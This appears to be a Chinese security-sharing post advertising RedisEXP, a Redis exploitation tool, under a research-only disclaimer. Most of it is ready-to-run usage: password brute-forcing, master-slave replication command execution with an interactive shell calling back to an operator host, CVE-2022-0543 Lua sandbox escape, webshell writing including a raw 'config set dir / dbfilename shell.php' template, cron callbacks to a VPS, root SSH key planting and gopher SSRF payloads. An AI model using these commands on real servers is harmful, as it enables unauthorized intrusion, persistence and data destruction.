Hack分享吧
声明
该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
工具介绍
@yuyan-sec使用golang写的一款Redis漏洞利用工具。
注意:主从复制会清空数据,主从复制会清空数据,主从复制会清空数据,请注意使用!请注意使用!请注意使用!
工具使用
██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗
██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝
██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝
██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝
基本连接:
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
爆破 Redis 密码:
RedisExp.exe brute -r 目标IP -p 目标端口 -f 字典文件RedisExp.exe brute -r 192.168.19.1 -f pass.txt
主从复制执行命令 (默认是交互式 shell)(Redis版本 4.x - 5.x):
RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行]RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -c whoami (单次执行)RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -f exp.so (Linux)
主从复制文件上传 (windows 中文需要设置gbk)(Redis版本 4.x - 5.x):
RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -d 目标路径 -f 目标文件名 -F 本地文件RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -d c:\\中文\\ -f shell.php -F shell.txt -gRedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -f shell.php -F shell.txt
关闭主从复制
RedisExp.exe close -r 192.168.19.1
Lua沙盒绕过命令执行 CVE-2022-0543:
RedisExp.exe lua -r 192.168.19.6 -c whoami
备份写 Webshell:
- Windows 中文路径要设置gbk, linux 中文路径不用设置。
- webshell的内容是base64,使用 -b 参数来解码。工具默认会关闭Redis压缩进行写入,写入后再恢复。
RedisExp.exe shell -r 目标IP -p 目标端口 -w 密码 -d 目标路径 -f 目标文件名 -s Webshell内容RedisExp.exe shell -r 192.168.19.1 -d c:\\中文\\ -f shell.php -s "<?php phpinfo();?>" -gRedisExp.exe shell -r 192.168.19.1 -d c:\\中文\\ -f shell.php -s "PD9waHAgcGhwaW5mbygpOz8+" -g -b
Linux 写计划任务:
RedisExp.exe cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPortRedisExp.exe cron -r 192.168.19.1 -L 127.0.0.1 -P 2222
Linux 写 SSH 公钥:
RedisExp.exe ssh -r 目标IP -p 目标端口 -w 密码 -n 用户名 -s 公钥RedisExp.exe ssh -r 192.168.19.1 -u root -s "ssh-rsa AAAAB"
执行 Redis 命令:
RedisExp.exe cli -r 192.168.19.1
生成 gopher ssrf redis payload:
RedisExp.exe gopher -f 1.txt
gopher 写webshell模板
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
关闭Redis压缩(写入乱码的时候可以关闭压缩,工具在写入shell的时候默认添加了关闭压缩,写入后再恢复开启压缩)
config set rdbcompression no
具体命令使用-h来查看exp.dll和exp.so来自https://github.com/0671/RabR,已经把内容分别加载到dll.go 和so.go可以直接调用。
Windows中文路径需要设置gbk,使用-g参数就可以了。在写入webshell的时候因为有一些特殊字符,可以使用把webshell进行base64编码,然后使用-b参数来解码
报错
出现以下报错有可能是Redis版本太高,exp.so没有执行权限导致加载不了,具体需要查看服务端的报错。
工具报错:[ERR Error loading the extension. Please check the server logs.] module load /tmp/exp.so
服务端报错:Module /tmp/exp.so failed to load: It does not have execute permissions.
项目地址
https://github.com/yuyan-sec/RedisEXP